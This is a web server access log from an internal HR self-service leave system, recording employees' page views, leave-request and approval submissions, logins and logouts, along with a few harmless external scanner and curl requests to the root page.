192.168.12.82 - - [06/Sep/2025:10:22:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:22:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.82 - - [06/Sep/2025:10:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730
192.168.12.82 - - [06/Sep/2025:10:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.82 - - [06/Sep/2025:10:22:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:23:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6760040651544714 HTTP/1.1" 200 54628
192.168.12.82 - - [06/Sep/2025:10:23:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6760040651544714 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:23:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6760040651544714 HTTP/1.1" 200 56813 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6760040651544714" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:23:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6760040651544714 HTTP/1.1" 200 56813
192.168.12.82 - - [06/Sep/2025:10:23:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:23:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4208
192.168.12.82 - - [06/Sep/2025:10:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730
192.168.12.82 - - [06/Sep/2025:10:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:24:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
100.64.0.1 - - [06/Sep/2025:10:25:37 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [06/Sep/2025:10:25:37 +0800] "GET / HTTP/1.0" 200 439
192.168.12.82 - - [06/Sep/2025:10:26:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7901310592999817 HTTP/1.1" 200 54628
192.168.12.82 - - [06/Sep/2025:10:26:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7901310592999817 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:26:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7901310592999817 HTTP/1.1" 200 56816 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7901310592999817" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:26:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7901310592999817 HTTP/1.1" 200 56816
192.168.12.82 - - [06/Sep/2025:10:26:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:26:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212
100.64.0.1 - - [06/Sep/2025:10:30:06 +0800] "MGLNDD_222.92.19.198_8088" 501 227
100.64.0.1 - - [06/Sep/2025:10:30:06 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-"
100.64.0.1 - - [06/Sep/2025:10:34:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:34:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:10:35:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:35:08 +0800] "GET / HTTP/1.1" 200 439
192.168.12.82 - - [06/Sep/2025:10:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.82 - - [06/Sep/2025:10:37:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:10:37:15 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:37:15 +0800] "GET / HTTP/1.1" 200 439
192.168.12.82 - - [06/Sep/2025:10:37:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [06/Sep/2025:10:37:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:37:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [06/Sep/2025:10:37:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [06/Sep/2025:10:37:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:10:37:59 +0800] "GET / HTTP/1.1" 200 439
192.168.11.104 - - [06/Sep/2025:10:42:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 8456
192.168.11.104 - - [06/Sep/2025:10:42:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:42:22 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445
192.168.11.104 - - [06/Sep/2025:10:42:22 +0800] "GET /eHR/css/default.css HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:42:22 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.11.104 - - [06/Sep/2025:10:42:22 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:42:23 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.104 - - [06/Sep/2025:10:42:23 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:42:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:42:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.104 - - [06/Sep/2025:10:42:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12112
192.168.11.104 - - [06/Sep/2025:10:42:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 3998
192.168.11.104 - - [06/Sep/2025:10:52:24 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.104 - - [06/Sep/2025:10:52:24 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 -
192.168.11.104 - - [06/Sep/2025:10:52:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 -
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [06/Sep/2025:10:52:26 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [06/Sep/2025:10:52:33 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [06/Sep/2025:10:52:33 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [06/Sep/2025:10:52:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
